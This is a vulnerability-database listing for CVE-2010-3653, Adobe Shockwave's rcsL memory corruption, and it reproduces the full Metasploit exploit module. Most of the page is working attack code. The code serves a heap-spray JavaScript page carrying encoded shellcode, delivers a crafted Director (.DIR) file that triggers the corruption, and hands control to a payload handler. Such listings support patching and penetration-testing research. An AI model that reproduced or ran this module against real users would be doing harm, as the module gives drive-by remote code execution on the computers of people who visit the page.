Adobe Shockwave rcsL Memory Corruption

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Adobe Shockwave rcsL Memory Corruption. Exploits a weakness in Adobe Shockwave player's handling of Director movies. Discovered by abysssec.co

                                                ##
# $Id: adobe_shockwave_rcsl_corruption.rb 10784 2010-10-22 12:21:30Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Adobe Shockwave rcsL Memory Corruption&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a weakness in the Adobe Shockwave player&#39;s handling of
				Director movies (.DIR). A memory corruption vulnerability occurs through an undocumented
				rcsL chunk. This vulnerability was discovered by http://www.abysssec.com.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62; [ &#39;David Kennedy &#34;ReL1K&#34; &#60;kennedyd013[at]gmail.com&#62;&#39;],
			&#39;Version&#39;        =&#62; &#39;$Revision: 10784 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2010-3653&#39;],
					[ &#39;OSVDB&#39;, &#39;68803&#39;],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/sploits/Adobe_Shockwave_Director_rcsL_Chunk_Memory_Corruption.zip&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;InitialAutoRunScript&#39; =&#62; &#39;migrate -f&#39;
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;         =&#62; 1024,
					&#39;BadChars&#39;      =&#62; &#34;\x00\x09\x0a\x0d&#34;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Automatic&#39;,     { &#39;Ret&#39; =&#62; 0x0a0a0a0a } ], # tested on XP SP2 and XP SP3
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Oct 21 2010&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	#
	# When exploit is called, load the exploit.dir file
	#
	def exploit

		path = File.join( Msf::Config.install_root, &#34;data&#34;, &#34;exploits&#34;, &#34;shockwave_rcsl.dir&#34; )
		fd = File.open( path, &#34;rb&#34; )
		@dir_data = fd.read(fd.stat.size)
		fd.close

		super
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		dirname	= rand_text_alpha(rand(20))
		shellcode_rand = rand_text_alpha(rand(20))

		# payload encoding
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# build the exploit
		content = %Q|
&#60;html&#62;
&#60;head&#62;
&#60;title&#62;msf&#60;/title&#62;
&#60;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=UTF-8&#34;&#62;
&#60;script&#62;
#{shellcode_rand} = unescape(&#39;#{shellcode}&#39;);

nops=unescape(&#39;%u0a0a%u0a0a&#39;);
headersize =20;
slackspace= headersize + #{shellcode_rand}.length;
while(nops.length&#60; slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace&#60;0x200000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter&#60;200; counter++) memory[counter]= block + #{shellcode_rand};
&#60;/script&#62;
&#60;/head&#62;
&#60;body bgColor=&#34;#FFFFFF&#34;&#62;
&#60;object classid=&#34;clsid:233C1507-6A77-46A4-9443-F871F945D258&#34;
codebase=&#34;http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593&#34;
ID=Abysssec width=600 height=430 VIEWASTEXT&#62;
&#60;param name=src value=&#34;#{dirname}.DIR&#34;&#62;
&#60;param name=swRemote value=&#34;swSaveEnabled=&#39;true&#39; swVolume=&#39;true&#39; swRestart=&#39;true&#39; swPausePlay=&#39;true&#39; swFastForward=&#39;true&#39; swContextMenu=&#39;true&#39; &#34;&#62;
&#60;param name=swStretchStyle value=fill&#62;
&#60;param name=PlayerVersion value=11&#62;
&#60;PARAM NAME=bgColor VALUE=#FFFFFF&#62;
&#60;embed src=&#34;#{dirname}.DIR&#34; bgColor=#FFFFFF  width=600 height=430 swRemote=&#34;swSaveEnabled=&#39;true&#39; swVolume=&#39;true&#39; swRestart=&#39;true&#39; swPausePlay=&#39;true&#39; swFastForward=&#39;true&#39; swContextMenu=&#39;true&#39; &#34; swStretchStyle=fill
type=&#34;application/x-director&#34; PlayerVersion=11 pluginspage=&#34;http://www.macromedia.com/shockwave/download/&#34;&#62;&#60;/embed&#62;
&#60;/object&#62;
&#60;/body&#62;
&#60;/html&#62;
|

		# Transmit the response to the client
		path = request.uri
		if (path =~ /\.DIR/i)
			print_status(&#34;Sending exploit DIR to #{cli.peerhost}:#{cli.peerport}...&#34;)
			send_response(cli, @dir_data, { &#39;Content-Type&#39; =&#62; &#39;application/octet-stream&#39; })
		else
			print_status(&#34;Sending exploit HTML to #{cli.peerhost}:#{cli.peerport}...&#34;)
			send_response_html(cli, content)
		end

		# Handle the payload
		handler(cli)

	end

end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1